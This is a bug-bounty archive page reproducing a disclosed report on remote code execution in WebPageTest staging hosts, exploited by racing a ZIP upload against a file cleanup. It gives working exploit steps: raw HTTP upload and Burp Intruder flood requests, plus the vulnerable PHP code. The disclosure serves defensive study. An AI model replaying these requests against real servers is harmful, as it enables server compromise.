Skip to content
RCE Disclosed report Advanced

Remote Code Execution on wpt-vpn.stage.mozaws.net and wpt1.dev.mozaws.net

The WebPageTest application allowed uploading a ZIP file containing a PHP script, which was extracted to a web-accessible directory before a cleanup function removed dangerous files. By racing requests to the uploaded script, an attacker could execute arbitrary PHP code on the server.

Shubham Shah Follow

Originally disclosed on Mozilla

  • Fixed in 45 days
  • Paid in 45 days
  • Disclosed after 45 days

Created attachment 8931789 Final code execution output

Hi team,

After finding the asset wpt-vpn.stage.mozaws.net and wpt1.dev.mozaws.net, Mathais K ([address removed]) and I obtained the source code and performed an audit. We were able to achieve remote command execution on this server/the newest version of WebPage Test.

The following steps detail how to exploit this vulnerability on wpt-vpn.stage.mozaws.net. The exact same steps can be followed in order to gain code execution on wpt1.dev.mozaws.net.

Part 1: Obtaining a valid test ID

  1. Go to http://wpt-vpn.stage.mozaws.net/traceroute.php
  2. Enter https://google.com
  3. Click "Start Test"

This will redirect you to a URL such as the following:

http://wpt-vpn.stage.mozaws.net/result/171124_GW_9/

We now have a valid test ID: 171124_GW_9

Part 2: Create a zip with the PHP file you want to execute on the server

For this example, I will be using the following script:

phpinfo.php:

<?php phpinfo(); ?>
  1. Create a phpinfo.php file with the contents <?php phpinfo(); ?>
  2. Zip this file (i.e. zip phpinfo.zip phpinfo.php)

Part 3: Exploiting an arbitrary file write

  1. Paste the following HTTP request in Burp's Repeater:

POST /work/workdone.php?key=1&id=171124_GW_9 HTTP/1.1 Host: wpt-vpn.stage.mozaws.net Content-Length: 374 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 FASTLY-CLIENT-IP: 127.0.0.1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBebbbk7QfDsfw1Nl User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3272.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,sv;q=0.8,da;q=0.7 Cookie: o=738b32e31614726cf4599078528935e2cb0ec1f6; tzo=60 Connection: close

------WebKitFormBoundaryBebbbk7QfDsfw1Nl Content-Disposition: form-data; name="file"; filename="1.zip" Content-Type: application/zip

{insert zip file here} ------WebKitFormBoundaryBebbbk7QfDsfw1Nl--

  1. Highlight the text {insert zip file here}, right click, paste from file
  2. Select the file created in part 2: 'phpinfo.zip'

Don't send the request yet, we now have to setup the Intruder to send requests to our uploaded file at a really fast rate.

Part 4: Initiate the intruder attack on Burp at 100 threads

  1. Paste the following HTTP request into a Burp Intruder tab:
GET /results/17/11/24/GW/9/phpinfo.php?version=§§ HTTP/1.1
Host: wpt-vpn.stage.mozaws.net
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: as=1; testOptions=3; runs=3; cfg=us-east-1:Chrome.Cable; u=1000; d=5000; l=28; p=0; tid=171124_AV_8; o=42f2e115b1302f85a03dfcf1ae555dda73e3b157; tzo=60
Connection: close


  1. Click the "Payloads" tab
  2. Set the payload type to "Numbers"
  3. Set type to "Sequential"
  4. Set From to 1, To to 1000000, and Step to 1
  5. Click on the "Options" tab
  6. Set the number of threads to 100
  7. Start the intruder attack

Part 5: Send the upload created in part 3

Keep on pressing the "Go" button in the repeater tab, while the intruder attack is running. Do this maybe 10 or 15 times, and then return to the Intruder window in Burp Suite.

Sort the intruder results by content length.

This will reveal a result containing the output of phpinfo()

(screenshots attached) (phpinfo output attached too)


Technical explanation

Arbitrary File Upload via ZIP files:

/webpagetest/www/work/workdone.php

Lines 133 - 136

  if (isset($_FILES['file']['tmp_name'])) {
    ExtractZipFile($_FILES['file']['tmp_name'], $testPath);
    CompressTextFiles($testPath);
  }

Deletion of "dangerous files"

/webpagetest/www/work/workdone.php

Line 321

SecureDir($testPath);


SecureDir Function

Line 2322 - 2347

/webpagetest/www/common_lib.inc

/**

  • Make sure there are no risky files in the given directory and make everything no-execute
  • @param mixed $path

*/ function SecureDir($path) { $files = scandir($path); foreach ($files as $file) { $filepath = "$path/$file"; if (is_file($filepath)) { $parts = pathinfo($file); $ext = strtolower($parts['extension']); if (strpos($ext, 'php') === false && strpos($ext, 'pl') === false && strpos($ext, 'py') === false && strpos($ext, 'cgi') === false && strpos($ext, 'asp') === false && strpos($ext, 'js') === false && strpos($ext, 'rb') === false && strpos($ext, 'htaccess') === false && strpos($ext, 'jar') === false) { @chmod($filepath, 0666); } else { @chmod($filepath, 0666); // just in case the unlink fails for some reason unlink($filepath); } } elseif ($file != '.' && $file != '..' && is_dir($filepath)) { SecureDir($filepath); } } }


Since the SecureDir function occurs later during the code flow, we are able to exploit a race condition where the PHP files extracted to the webserver are temporarily accessible by the attacker. This leads to PHP code execution on the machine.

This is a 0day in WebPageTest and will require further co-ordination with their team. For the time being, I recommend enabling some sort of authentication for this host. This vulnerability can leads to a full compromise of the host wpt-vpn.stage.mozaws.net.

The original report as published on Mozilla's Bugzilla, by Shubham Shah. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The application extracted uploaded ZIP files into a web-accessible directory and only later removed files with dangerous extensions, creating a race condition.

Impact

This vulnerability could lead to full compromise of the host wpt-vpn.stage.mozaws.net.

What the attacker needed

Access to the web interface; ability to upload a ZIP file; ability to send many requests quickly

The fix

The report recommends enabling authentication for the host as a temporary measure, but does not state a permanent fix.

How it was found

  1. Obtain a valid test ID by starting a test on the traceroute page.
  2. Create a ZIP file containing a PHP script.
  3. Send a POST request to workdone.php with the ZIP file attached.
  4. Start a Burp Intruder attack sending many requests to the uploaded PHP file.
  5. Repeatedly resend the upload request while the Intruder attack is running.
  6. Sort Intruder results by content length to find the executed PHP output.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website let users upload a ZIP file, and it would unpack the contents into a folder that the web server could serve. A security check later deleted files with dangerous extensions like .php, but for a short time those files were still there. By sending many requests very quickly, the attacker could access the PHP file before it was deleted, and the server would run it as code.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by Shubham Shah

View all

6 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.